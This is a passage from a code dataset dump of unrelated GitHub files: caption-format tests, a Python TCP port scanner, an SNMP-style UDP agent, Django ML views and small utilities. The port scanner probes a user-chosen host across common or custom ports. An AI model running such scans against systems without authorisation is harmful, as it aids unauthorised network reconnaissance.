super().assert_positive_answer_for_detection(sample_webvtt)\n\n @pytest.mark.parametrize('different_sample', [\n pytest.lazy_fixture('sample_dfxp'),\n pytest.lazy_fixture('sample_microdvd'),\n pytest.lazy_fixture('sample_sami'),\n pytest.lazy_fixture('sample_scc_pop_on'),\n pytest.lazy_fixture('sample_srt')\n ])\n def test_negative_answer_for_detection(self, different_sample):\n super().assert_negative_answer_for_detection(different_sample)\n\n def test_caption_length(self, sample_webvtt_2):\n captions = self.reader.read(sample_webvtt_2)\n\n assert len(captions.get_captions('en-US')) == 7\n\n def test_read_supports_multiple_languages(self, sample_webvtt):\n captions = self.reader.read(sample_webvtt, lang='es')\n\n assert captions.get_captions('es') is not None\n\n def test_proper_timestamps(self, sample_webvtt):\n captions = self.reader.read(sample_webvtt)\n cue = captions.get_captions('en-US')[2]\n\n assert cue.start == 17000000\n assert cue.end == 18752000\n\n def test_forward_time_shift(self, sample_webvtt):\n captions = WebVTTReader(time_shift_milliseconds=15).read(sample_webvtt)\n cue = captions.get_captions('en-US')[2]\n\n assert cue.start == 17015000\n assert cue.end == 18767000\n\n def test_backward_time_shift(self, sample_webvtt):\n captions = WebVTTReader(time_shift_milliseconds=-15).read(sample_webvtt)\n cue = captions.get_captions('en-US')[2]\n\n assert cue.start == 16985000\n assert cue.end == 18737000\n\n def test_webvtt_cue_components_removed_from_text(self):\n result = self.reader._remove_styles(\n \"Wikipedia is a great adventure. It may have \"\n \"its shortcomings, but it is the largest collective \"\n \"knowledge construction endevour base text \"\n \"annotation Yes, indeed!\"\n )\n expected = (\n \"Wikipedia is a great adventure. It may have \"\n \"its shortcomings, but it is the largest collective \"\n \"knowledge construction endevour base text annotation\"\n \" Audry: Yes, indeed!\"\n )\n assert result == expected\n\n def test_empty_file(self, sample_webvtt_empty):\n with pytest.raises(CaptionReadNoCaptions):\n WebVTTReader().read(sample_webvtt_empty)\n\n def test_not_ignoring_timing_errors(self):\n # todo: same assert w/ different arguments -> this can be parametrized;\n with pytest.raises(CaptionReadError):\n WebVTTReader(ignore_timing_errors=False).read(\n \"\\n\" \"00:00:20.000 --> 00:00:10.000\\n\" \"foo bar baz\")\n\n with pytest.raises(CaptionReadError):\n WebVTTReader(ignore_timing_errors=False).read(\n \"00:00:20.000 --> 00:00:10.000\\n\"\n \"Start time is greater than end time.\\n\"\n )\n\n with pytest.raises(CaptionReadError):\n WebVTTReader(ignore_timing_errors=False).read(\n \"00:00:20.000 --> 00:00:30.000\\n\"\n \"Start times should be consecutive.\\n\"\n \"\\n\"\n \"00:00:10.000 --> 00:00:20.000\\n\"\n \"This cue starts before the previous one.\\n\"\n )\n\n def test_ignoring_timing_errors(self):\n # Even if timing errors are ignored, this has to raise an exception\n with pytest.raises(CaptionReadSyntaxError):\n WebVTTReader().read(\n \"\\nNOTE invalid cue stamp\\n00:00:20.000 --> \\nfoo bar baz\\n\")\n\n # And this too\n with pytest.raises(CaptionReadSyntaxError):\n WebVTTReader().read(\"\\n00:00:20,000 --> 00:00:22,000\\n\"\n \"Note the comma instead of point.\\n\")\n\n # todo: at this point it can be split into 2 separate tests\n try:\n WebVTTReader().read(\n \"\\n\"\n \"00:00:20.000 --> 00:00:10.000\\n\"\n \"Start time is greater than end time.\\n\"\n )\n except CaptionReadError:\n pytest.fail(\"Shouldn't raise CaptionReadError\")\n\n try:\n WebVTTReader().read(\n \"\\n\"\n \"00:00:20.000 --> 00:00:30.000\\n\"\n \"Start times should be consecutive.\\n\"\n \"\\n\"\n \"00:00:10.000 --> 00:00:20.000\\n\"\n \"This cue starts before the previous one.\\n\"\n )\n except CaptionReadError:\n pytest.fail(\"Shouldn't raise CaptionReadError\")\n\n def test_invalid_files(self):\n with pytest.raises(CaptionReadError):\n WebVTTReader(ignore_timing_errors=False).read(\n \"00:00:20.000 --> 00:00:10.000\\n\"\n \"Start time is greater than end time.\")\n\n with pytest.raises(CaptionReadError):\n WebVTTReader(ignore_timing_errors=False).read(\n \"00:00:20.000 --> 00:00:30.000\\n\"\n \"Start times should be consecutive.\\n\"\n \"\\n\"\n \"00:00:10.000 --> 00:00:20.000\\n\"\n \"This cue starts before the previous one.\\n\"\n )\n\n def test_zero_start(self, sample_webvtt_last_cue_zero_start):\n captions = self.reader.read(sample_webvtt_last_cue_zero_start)\n cue = captions.get_captions('en-US')[0]\n\n assert cue.start == 0\n\n def test_webvtt_empty_cue(self, sample_webvtt_empty_cue):\n assert 1 == len(self.reader.read(\n sample_webvtt_empty_cue).get_captions('en-US'))\n\n\nclass TestWebVTTWriter:\n def setup_method(self):\n self.writer = WebVTTWriter()\n\n def test_double_br(self, sample_webvtt_double_br, sample_sami_double_br):\n caption_set = SAMIReader().read(sample_sami_double_br)\n results = WebVTTWriter().write(caption_set)\n\n assert sample_webvtt_double_br == results\n\n def test_break_node_positioning_is_ignored(\n self, webvtt_from_dfxp_with_conflicting_align,\n dfxp_style_region_align_conflict):\n caption_set = DFXPReader().read(dfxp_style_region_align_conflict)\n results = WebVTTWriter().write(caption_set)\n\n assert webvtt_from_dfxp_with_conflicting_align == results\n\n def test_lang_option(self, sample_webvtt_multi_lang_en,\n sample_webvtt_multi_lang_de,\n sample_sami_with_multi_lang):\n caption_set = SAMIReader().read(sample_sami_with_multi_lang)\n results = WebVTTWriter().write(caption_set, 'de-DE')\n\n assert sample_webvtt_multi_lang_de == results\n results = WebVTTWriter().write(caption_set, 'en-US')\n assert sample_webvtt_multi_lang_en == results\n","repo_name":"pbs/pycaption","sub_path":"tests/test_webvtt.py","file_name":"test_webvtt.py","file_ext":"py","file_size_in_byte":7114,"program_lang":"python","lang":"en","doc_type":"code","stars":243,"dataset":"github-code","pt":"3"} +{"seq_id":"25787451610","text":"# importing sockets\nfrom socket import *\n\n#conscan functions connects to the target\ndef conscan(tghost, tgport):\n\n try: \n #Connecting to the port of target\n connskt = socket(AF_INET, SOCK_STREAM)\n connskt.settimeout(0.8)\n connskt.connect((tghost,tgport))\n \n print(\"[+] port %d/tcp open\"% tgport)\n connskt.close()\n\n except:\n pass\n\n#portscan function finds the host IP and call conscan function\ndef portScan(tghost, tgports):\n try:\n tgIp = gethostbyname(tghost)\n print(\"-\" * 110)\n print(\"Starting scan on host : \",tgIp)\n print(\"-\" * 110)\n print(\"Running TCP scan on the target...\")\n except:\n print(\"[-] Cannot resolve %s\"% tghost)\n\n #This loop is to iterate through each ports \n for tgport in tgports:\n conscan(tghost, int(tgport))\n \n\nif __name__ == '__main__':\n\n #Starting port scanner\n print(\"\\n\"+\"-\" * 52 + \"Port Scanner\" + \"-\" * 52)\n\n #Getting target\n tghost = input(\">>Enter the target host (Example : www.google.com or IP addr) : \")\n\n #Getting port details to scan via if statements\n print(\"\\n\" + \"-\" * 50 + \"Port scan details\" + \"-\" * 50)\n\n print(\" 1.Fast scan : Scans 30 well known ports (Recommended)\")\n print(\" 2.Manually set port for scanning\")\n ch = int(input(\">>Enter the choice (1/2): \"))\n if ch == 1:\n #port list contains the list of ports for Fast scan\n portslist = [21,22,23,25,53,80,110,111,123,135,139,143,443,445,465,513,514,631,993,995,1723,2049,2121,3306,3389,5432,5900,6000,8009,8080]\n print(\"-\" * 110)\n print(\"Ports scanned in Fast scan : \\n\",portslist)\n \n print(\"-\" * 110)\n portScan(tghost,portslist)\n print(\"\\n>>Scanned 30 well known ports\")\n\n elif ch == 2:\n #Manually set ports for scanning\n print(\" 1.Scan a single port\")\n print(\" 2.Scan a range of ports\")\n ch = int(input(\">>Enter the choice (1/2): \"))\n\n if ch == 1:\n #Scan single port that entered\n portno = int(input(\">>Enter port number : \"))\n portslist = range(portno, portno+1)\n portScan(tghost,portslist)\n print(\"\\n>>Scanned port \",portno)\n\n elif ch == 2:\n #Scans over a range of ports entered\n start_port = int(input(\">>Enter starting port : \"))\n end_port = int(input(\">>Enter ending port : \"))\n portslist = range(start_port, end_port+1)\n portScan(tghost,portslist)\n print(\"\\n>>Scanned ports from \", start_port,\"to\", end_port)\n #Task completed\n print(\"\\n>>Session ended.\")\n","repo_name":"Rajesh1308/Port_scanner_python","sub_path":"portScanner.py","file_name":"portScanner.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"8267027002","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 14 09:22:56 2020\n\n@author: wieland\n\"\"\"\n\n# schaltjahr.py\n\ndef istSchaltjahr(jahr):\n if jahr % 4 != 0:\n return False\n \n if jahr % 100 == 0:\n if jahr % 400 == 0:\n return True\n else: \n return False\n\n return True\n\ne = input(\"Bitte geben Sie eine Jahreszahl ein \")\nj = int(e)\n\nk = \"ein\" if istSchaltjahr(j) else \"kein\"\nprint(j, \"ist\", k, \"Schaltjahr.\")\n","repo_name":"vollkornholztuer/fProg","sub_path":"2_Kontrollstruktugen_und_Funktionen_in_Python/BeispieleZuKap02/schaltjahr.py","file_name":"schaltjahr.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33656110581","text":"import socket\nIP = \"127.0.0.1\"\nPORT = 1161\nBUFFERSIZE = 1024\n\ndef verificarComunidad(request):\n\twith open('snmpd.conf') as c_conf: \n\t\tcontenido = c_conf.read()\n\t\tpermisos = contenido[:contenido.index('community')]\n\t\tcomunidad = contenido[contenido.index(' ')+1:]\n\t\tif permisos == \"rw\":\n\t\t\tif request[:request.find(' ')] in comunidad:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\telse:\n\t\t\treturn False\n\ndef verificaOID(oid):\n\twith open('mib.txt') as mib:\n\t\tlineas_mib = mib.readlines()\n\t\tfor linea in lineas_mib:\n\t\t\tif linea.find(oid):\n\t\t\t\treturn True\n\t\treturn False\n\ndef obtenerOID(oid):\n\twith open('mib.txt') as mib:\n\t\tlineas_mib = mib.readlines()\n\t\tfor linea in lineas_mib:\n\t\t\tif oid in linea:\n\t\t\t\treturn linea\n\ndef getRequest(request):\n\tif verificarComunidad(request):\n\t\toid = request[request.find(' ')+1:]\n\t\toid = oid[2:]\n\t\tif verificaOID(oid):\n\t\t\tgetResponse = obtenerOID(oid)\n\t\t\tSNMPDaemonSocket.sendto(str.encode(getResponse), addr)\t\t\t\n\t\telse:\n\t\t\tSNMPDaemonSocket.sendto(str.encode(\"E: OID no reconocido\"), addr)\n\telse:\n\t\tSNMPDaemonSocket.sendto(str.encode(\"E: comunidad no reconocida\"), addr)\n\ndef modificarOID(oid_a_cambiar):\n\tinfo_nueva = oid_a_cambiar[oid_a_cambiar.find(' ')+1:]\n\toid_a_cambiar= oid_a_cambiar[:oid_a_cambiar.find(' ')+1]\n\tnuevas_lineas = []\n\twith open('mib.txt','r') as mib:\n\t\tlineas_mib = mib.readlines()\n\t\tfor linea in lineas_mib:\n\t\t\tif oid_a_cambiar in linea:\n\t\t\t\tinfo_cambiar = linea[linea.find('=')+2:]\n\t\t\t\tnew_line = linea.replace(info_cambiar,info_nueva)\n\t\t\t\tprint(\"linea reemplazada {}\".format(new_line))\n\t\t\t\tnuevas_lineas.append(new_line+'\\n')\n\t\t\telse:\n\t\t\t\tnuevas_lineas.append(linea)\n\n\twith open('mib.txt', 'w') as outfile:\n\t\tfor line in nuevas_lineas:\n\t\t\toutfile.write(line)\n\ndef setrequest(request):\n\tif verificarComunidad(request):\n\t\toid_a_cambiar = request[request.find(' ')+1:]\n\t\toid_a_cambiar = oid_a_cambiar[2:]\n\t\tif verificaOID(oid_a_cambiar):\n\t\t\t#oid = obtenerOID(oid_a_cambiar)\n\t\t\tmodificarOID(oid_a_cambiar)\n\t\t\tSNMPDaemonSocket.sendto(str.encode(\"OID modificado, verifique con get\"), addr)\n\t\telse:\n\t\t\tSNMPDaemonSocket.sendto(str.encode(\"E: OID no encontrado\"), addr)\n\telse:\n\t\tSNMPDaemonSocket.sendto(str.encode(\"E: comunidad no reconocida\"), addr)\n\n\nSNMPDaemonSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nSNMPDaemonSocket.bind((IP,PORT))\nprint(\"Server UDP up and listening\")\n\nwhile True:\n\tprint('\\nwaiting to receive message')\n\trequest, addr = SNMPDaemonSocket.recvfrom(BUFFERSIZE)\n\trequest = str(request, 'utf-8')\n\n\tif request[:3].upper() == 'GET':\n\t\tcomunidad = request[request.find(' ')+1:]\n\t\tgetRequest(comunidad)\n\n\telif request[:3\t].upper() == 'SET':\n\t\tcomunidad = request[request.find(' ')+1:]\n\t\tsetrequest(comunidad)\n\telse:\n\t\tSNMPDaemonSocket.sendto(str.encode(\"E: comando no reconocido\"), addr)","repo_name":"gabivel/Practica4_conUDP","sub_path":"Agente/Agente.py","file_name":"Agente.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70178844243","text":"\"\"\"Enable workflow visibility\n\nRevision ID: 6086cb72f9e1\nRevises: 7aa503323413\nCreate Date: 2021-10-11 16:30:46.588247\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6086cb72f9e1'\ndown_revision = '7aa503323413'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n bind = op.get_bind()\n op.add_column('workflow', sa.Column('public', sa.Boolean(), nullable=True))\n bind.execute(\"UPDATE workflow set public = false\")\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('workflow', 'public')\n # ### end Alembic commands ###\n","repo_name":"crs4/life_monitor","sub_path":"migrations/versions/6086cb72f9e1_enable_workflow_visibility.py","file_name":"6086cb72f9e1_enable_workflow_visibility.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"15985842052","text":"#!/bin/python\nfrom twowaydict import *\nfrom struct import *\n\n\"\"\"\ncontains definitions for serial communication delimiters, commands, etc\n\"\"\"\n\n# new line, always ends all commands and requests\nEOL = '\\r'\nSTOP_ALL = ' '\nFORWARD = 0\nBACKWARD = 1\n# not sure about these\nCW = 0\nCCW = 1\n\ndriver = TwoWayDict()\nmainCPU = TwoWayDict()\n\ndriver['cmd']\t\t\t\t= 'p'\ndriver['feedback']\t\t\t= '>'\ndriver['set_power_left']\t= 0x01\ndriver['set_power_right']\t= 0x02\ndriver['set_power_both']\t= 0x05\ndriver['set_dir_left']\t\t= 0x03\ndriver['set_dir_right']\t\t= 0x04\ndriver['pid_toggle']\t\t= 0x10\ndriver['set_speed_left']\t= 0x11\ndriver['set_speed_right']\t= 0x12\ndriver['set_speed_both']\t= 0x15\ndriver['set_position']\t\t= 0x1b\ndriver['go_to_position']\t= 0x32\ndriver['dir_power_both']\t= 0x40\ndriver['encoder_both']\t\t= 0x41\ndriver['speed_both']\t\t= 0x42\ndriver['acc_both']\t\t\t= 0x43\ndriver['abs_pos_both']\t\t= 0x44\ndriver['rel_pos_both']\t\t= 0x45\ndriver['sensor_both']\t\t= 0x46\ndriver['pos_err_both']\t\t= 0x47\ndriver['debug_off']\t\t\t= 0x70\ndriver['debug_1']\t\t\t= 0x71\ndriver['debug_2']\t\t\t= 0x72\ndriver['debug_3']\t\t\t= 0x73\ndriver['debug_4']\t\t\t= 0x74\ndriver['debug_5']\t\t\t= 0x75\ndriver['debug_6']\t\t\t= 0x76\ndriver['debug_7']\t\t\t= 0x77\n\nmainCPU['feedback']\t\t\t= '<'\nmainCPU['base']\t\t\t\t= 0x30 # OR this with other commands\nmainCPU['arm']\t\t\t\t= 0x40 # OR this with other commands\nmainCPU['arm_pid_off']\t\t= 0x10\nmainCPU['arm_pid_on']\t\t= 0x11 \nmainCPU['base_power_up']\t= 0x30\nmainCPU['base_power_down']\t= 0x31\nmainCPU['base_encoder']\t\t= 0x32\nmainCPU['base_pid_s']\t\t= 0x33\nmainCPU['base_pid_p']\t\t= 0x34\nmainCPU['base_pid_i']\t\t= 0x35\nmainCPU['base_pid_d']\t\t= 0x36\nmainCPU['arm_power_up']\t\t= 0x40\nmainCPU['arm_power_down']\t= 0x41\nmainCPU['arm_encoder']\t\t= 0x42\nmainCPU['arm_pid_s']\t\t= 0x43\nmainCPU['arm_pid_p']\t\t= 0x44\nmainCPU['arm_pid_i']\t\t= 0x45\nmainCPU['arm_pid_d']\t\t= 0x46\nmainCPU['ping_pong_servo']\t= 0x50\nmainCPU['laser_servo']\t\t= 0x60\nmainCPU['claw_servo_1']\t\t= 0x70 # upward/downward\nmainCPU['claw_servo_2']\t\t= 0x80 # open/close\nmainCPU['magnets_off']\t\t= 0x90\nmainCPU['magnets_on']\t\t= 0x91\nmainCPU['battery_status']\t= 0xba\n\ndriver_decode = {\n\t'dir_power_both'\t: '!BBB',\n\t'encoder_both'\t\t: '!ii',\n\t'speed_both'\t\t: '!hh',\n\t'acc_both'\t\t\t: '!hh',\n\t'abs_pos_both'\t\t: '!hh',\n\t'rel_pos_both'\t\t: '!BhBh',\n\t'sensor_both'\t\t: '!BB',\n\t'pos_err_both'\t\t: '!ii'\n}\n\nmainCPU_decode = {\n\t'base_encoder'\t\t: '!h',\n\t'base_pid_p'\t\t: '!h',\n\t'base_pid_i'\t\t: '!i',\n\t'base_pid_d'\t\t: '!h',\n\t'base_pid_s'\t\t: '!h',\n\t'arm_encoder'\t\t: '!h',\n\t'arm_pid_p'\t\t\t: '!h',\n\t'arm_pid_i'\t\t\t: '!i',\n\t'arm_pid_d'\t\t\t: '!h',\n\t'arm_pid_s'\t\t\t: '!h',\n\t'battery_status'\t: '!H'\n}\n\n# old way:\n# mainCPU['feedback']\t\t= '<'\n# mainCPU['base']\t\t\t= 0x30 # OR this with other commands\n# mainCPU['arm']\t\t\t= 0x40 # OR this with other commands\n# mainCPU['power_ccw_up']\t= 0x00\n# mainCPU['power_cw_down']\t= 0x01\n# mainCPU['encoder']\t\t= 0x02\n# mainCPU['pid_p']\t\t\t= 0x03\n# mainCPU['pid_i']\t\t\t= 0x04\n# mainCPU['pid_d']\t\t\t= 0x05\n\ndef getDataDecode(prepend, code):\n\t\"\"\"\n\tinput: the prepend and code string\n\treturns: str which is the first parameter for the unpack struct function (eg: '!b' for a signed byte)\n\treturns empty str if it could not decode the command\n\t\"\"\"\n\tunpackString = \"\"\n\n\t# for now code has to be 2 chars\n\tif len(code) < 2 :\n\t\treturn None\n\n\ttry:\n\t\thex_code = ord((code.decode('hex'))) #converts to int\n\texcept:\n\t\t# non hex digit in code\n\t\treturn None\n\n\t# make sure prepend and code are recognized at all, first of all\n\tif not ((prepend in driver and hex_code in driver) or (prepend in mainCPU and hex_code in mainCPU)):\n\t\treturn None\n\n\tif prepend == driver['feedback'] :\n\t\tunpackString = driver_decode[driver[hex_code]]\n\n\telif prepend == mainCPU['feedback'] :\n\t\tunpackString = mainCPU_decode[mainCPU[hex_code]]\n\n\treturn unpackString\n\ndef getData(prepend, code, data):\n\t\"\"\"\n\tinput: the prepend, code, and data strings\n\treturns: list of data decoded to integers\n\tempty list if decoding was not possible\n\t\"\"\"\n\tdecodedData = []\n\n\tdecode = getDataDecode(prepend, code)\n\n\t# make sure we know the decoding, else return\n\tif not decode :\n\t\treturn None\n\n\ttry:\n\t\thexValue = data.decode('hex')\t# turn str in hex str\n\t\tdecodedData = unpack(decode, hexValue)\n\texcept :\n\t\tNone\n\n\treturn decodedData\n\ndef isValidMessage(prepend, code, data):\n\t\"\"\"\n\treturns True if message is valid, False otherwise\n\tchecks by tryig to decode the data\n\t\"\"\"\n\n\tif getData(prepend, code, data):\n\t\treturn True\n\telse :\n\t\treturn False\n","repo_name":"ssalenik/machine","sub_path":"interface/serialcomm.py","file_name":"serialcomm.py","file_ext":"py","file_size_in_byte":4399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25974955301","text":"import cv2\r\nimport moistureinput,SFalgorithm\r\n\r\nimg = cv2.imread('slope.png',1)\r\nhsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\r\ncolors = []\r\n\r\nfor i in range(519):\r\n for j in range(523):\r\n\r\n px = hsv[i,j]\r\n\r\n if(px[1]>=200):\r\n if(px[0]>=6 and px[0]<=30):\r\n\r\n if(px[2]<=202 and px[2]>=200):\r\n slope = 0.06\r\n elif(px[2]<=199 and px[2]>=164):\r\n slope = 0.07\r\n elif(px[2]<=165 and px[2]>=135):\r\n slope = 0.08\r\n elif(px[2]<=134 and px[2]>=99):\r\n slope = 0.09\r\n elif(px[2]<=98 and px[2]>=68):\r\n slope = 0.1\r\n else:\r\n slope = None\r\n \r\n moisture = moistureinput.Moisture(i,j)\r\n\r\n if(slope==None):\r\n Safety_Factor = None\r\n\r\n else:\r\n Safety_Factor = SFalgorithm.Algorithm(moisture,slope)\r\n\r\n img_out = cv2.imread('output.png',1)\r\n\r\n if(Safety_Factor<=1 and Safety_Factor>0.7):\r\n img_out[i,j:j+5][0] = 255\r\n img_out[i,j:j+5][1] = 0\r\n img_out[i,j][2] = 0\r\n\r\n elif(Safety_Factor<=0.7):\r\n img_out[i,j:j+5][0] = 0\r\n img_out[i,j:j+5][1] = 0\r\n img_out[i,j][2] = 255\r\n\r\n cv2.imwrite('output.png',img_out)","repo_name":"ayushsingh24/landslidealgorithm","sub_path":"slopeangle.py","file_name":"slopeangle.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"6741966400","text":"from cm.models import *\nfrom imis.models import *\n\n\ndef cm_drop(ids_list=[]):\n \"\"\"\n drops cm logs based on ids list. the log dropped is the is_current log associated with the user.\n \"\"\"\n\n error_dict = {}\n missing_current_log = []\n for x in ids_list:\n try:\n logs = Log.objects.filter(contact__user__username=x, is_current=True).exclude(status=\"D\")\n\n for log in logs:\n log.status='D'\n log.save()\n\n Subscriptions.aicp_drop(x, log.period.code)\n\n if not logs:\n missing_current_log.append(x)\n\n except Exception as e:\n error_dict[x] = str(e)\n continue\n\n print(\"ERRORS: \" + str(error_dict))\n print(\"----------------------------\")\n print(\"MISSING CURRENT LOG: \" + str(missing_current_log))\n\n","repo_name":"furmanczyk5/Django-Enterprise-App","sub_path":"_data_tools/cm_drop.py","file_name":"cm_drop.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35922497365","text":"import unittest\nimport sys\n\nsys.path.append('src/actions')\n\n\nfrom master_to_host_commands import Command\nimport descriptors\n\n\nclass TestCommand(unittest.TestCase):\n def test_create_command(self):\n xx = Command(name='name', body='print', target='google', if_root=True)\n print(xx)\n yy = 'adad'\n print(yy)\n self.assertEqual(xx, yy)\n print(\"!!!!!!!!\")\n\n\nunittest.main()","repo_name":"tawaluk/easy-administrator","sub_path":"src/tests/test_class.py","file_name":"test_class.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39774079641","text":"from django.conf import settings\nfrom django.shortcuts import render\n\nfrom rest_framework import viewsets\nfrom rest_framework import status\nfrom rest_framework.generics import CreateAPIView, UpdateAPIView ,DestroyAPIView\nfrom rest_framework.response import Response\n\nfrom .serializers import MLItemSerializer\nfrom .models import MLItem\n\nfrom . import kafka_connector\nfrom . import kafka_network as kn\nfrom . import promptist\nfrom . import text_summarization as summ\nfrom . import text_recognition as recog\nfrom . import diffusion\n\nimport multiprocessing as mp\n\n## env\nfrom django.conf import settings\n\nkafka_topic = ('inference_prompt', 'image')\n\nclass TestPostMessageKafkaView(CreateAPIView):\n model = MLItem\n serializer_class = MLItemSerializer\n\n def perform_create(self, serializer):\n full_diary = self.request.data.get(\"full_diary\", None)\n full_dialog = self.request.data.get(\"full_dialog\", None)\n prompt = self.request.data.get(\"prompt\", None)\n url = self.request.data.get(\"url\", None)\n thumbnail_url = self.request.data.get(\"thumbnail_url\", None)\n\n kafka_topic = \"Diary\"\n if full_diary == None:\n kafka_topic = \"Dialog\"\n \n print(\"REQ TEST : \" + full_diary)\n\n data = {'message': '일기 원본 : ' + full_diary}\n consumer = kafka_connector.KafkaProducer(kafka_topic, data)\n for message in consumer:\n print(\"[Kafka]\")\n print(\"Topic: %s, Partition: %d, Offset: %d, Key: %s, Value: %s\" % (\n message.topic, message.partition, message.offset, message.key, message.value\n ))\n\n serializer.save(\n full_diary = full_diary,\n full_dialog=full_dialog,\n prompt = prompt,\n url = url,\n thumbnail_url = thumbnail_url\n )\n\nclass SummaryDiaryView(CreateAPIView):\n model = MLItem\n serializer_class = MLItemSerializer\n\n def perform_create(self, serializer):\n full_diary = self.request.data.get(\"full_diary\", None) # 얘는 꼭 필요\n full_dialog = self.request.data.get(\"full_dialog\", None)\n prompt = self.request.data.get(\"prompt\", None)\n url = self.request.data.get(\"url\", None)\n thumbnail_url = self.request.data.get(\"thumbnail_url\", None)\n diary_id = self.request.data.get(\"diary_id\", None)\n\n optimized_prompt = kn.to_kafka_summm_infer_diary(kafka_topic[0], diary_id, full_diary)\n\n if serializer.is_valid():\n serializer.save(\n full_diary = full_diary,\n full_dialog = full_dialog,\n prompt = optimized_prompt,\n url = url,\n thumbnail_url = thumbnail_url\n )\n return Response(serializer.data, status=status.HTTP_201_CREATED) \n return Response (serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n \nclass SummaryDialogueView(CreateAPIView):\n model = MLItem\n serializer_class = MLItemSerializer\n\n def perform_create(self, serializer):\n req_urls = self.request.data.get('req_urls') # 얘는 꼭 필요 -> 이미지에서 가져와야함.\n diary_id = self.request.data.get(\"diary_id\", None)\n \n AWS_STORAGE_BUCKET_NAME = getattr(settings, 'AWS_STORAGE_BUCKET_NAME', 'AWS_STORAGE_BUCKET_NAME')\n \n processes = [] \n manager = mp.Manager()\n return_dict = manager.dict()\n \n for idx, url in enumerate(req_urls):\n url = \"https://\" + AWS_STORAGE_BUCKET_NAME + \".s3.ap-northeast-2.amazonaws.com/\" + url[4:]\n process = mp.Process(target=recog.clova_ocr, args=(idx, url, return_dict,))\n processes.append(process)\n process.start()\n \n for process in processes:\n process.join()\n \n sorted_return_dict = sorted(return_dict.items())\n get_values = lambda lst: [value for _, value in lst]\n sum_dialogue = get_values(sorted_return_dict)\n # print('sum_dialogue all => ' + str(sum_dialogue))\n flatten = lambda lst: [item for sublist in lst for item in sublist]\n sum_dialogue_flatten = flatten(sum_dialogue)\n print('sum_dialogue flatten=> ' + str(sum_dialogue_flatten))\n\n summarize = summ.inference_dialogue(sum_dialogue_flatten) # input: List type\n print('summarize => ' + str(summarize))\n optimized_prompt = promptist.promptist_manual(summarize)\n\n# optimized_prompt = kn.to_kafka_summm_infer_diary(kafka_topic[0], diary_id, sum_dialogue)\n\n if serializer.is_valid():\n serializer.save(\n full_dialog = sum_dialogue,\n prompt = optimized_prompt,\n url = req_urls\n )\n return Response(serializer.data, status=status.HTTP_201_CREATED) \n return Response (serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass GenerateImageCreateView(CreateAPIView):\n model = MLItem\n serializer_class = MLItemSerializer\n\n def perform_create(self, serializer):\n full_diary = self.request.data.get(\"full_diary\", None) # 얘는 꼭 필요\n full_dialog = self.request.data.get(\"full_dialog\", None)\n prompt = self.request.data.get(\"prompt\", None)\n url = self.request.data.get(\"url\", None)\n thumbnail_url = self.request.data.get(\"thumbnail_url\", None)\n\n files = []\n img = diffusion.generate_one(prompt)\n files.append(img) # return 파일 이름 (temp/*)\n \n # S3 upload\n uploaded_urls = []\n try :\n for filename in files :\n url = diffusion.uploadS3(filename)\n uploaded_urls.append(url)\n\n if serializer.is_valid():\n serializer.save(\n full_diary = full_diary,\n full_dialog = full_dialog,\n prompt = prompt,\n url = uploaded_urls,\n thumbnail_url = thumbnail_url\n )\n return Response(serializer.data, status=status.HTTP_201_CREATED) \n except:\n return Response (serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"MJU-capstone-2023/SketchDay-Backend-ML","sub_path":"Django-Server/mlApi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27309453541","text":"\"\"\"\n给你一个链表,每 k 个节点一组进行翻转,请你返回翻转后的链表。\nk 是一个正整数,它的值小于或等于链表的长度。\n如果节点总数不是 k 的整数倍,那么请将最后剩余的节点保持原有顺序。\n\n示例:\n给你这个链表:1->2->3->4->5\n当 k = 2 时,应当返回: 2->1->4->3->5\n当 k = 3 时,应当返回: 3->2->1->4->5\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n def reverseKGroup(self, head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n\n \"\"\"\n cur是当前节点,next指向cur节点的下一个节点,prev是cur节点前一个节点;\n \"\"\"\n\n first_head = head\n pre = None\n cur = head\n\n n = 0\n\n while True:\n\n # 判断cur节点之后,是否有k个节点,如果没有就直接跳出while循环,如果有k个,则进行翻转\n flag = False\n if n != 0:\n cur_text = pre\n for i in range(k):\n\n if not cur_text:\n flag = True\n break\n cur_text = cur_text.next\n if flag:\n break\n n += 1\n\n first,last = self.reverse(pre,cur,k)\n pre = last.next\n cur = pre.next\n\n if n==1:\n first_head = first\n\n return first_head\n\n\n def reverse(self,first,last,k):\n \"\"\"\n 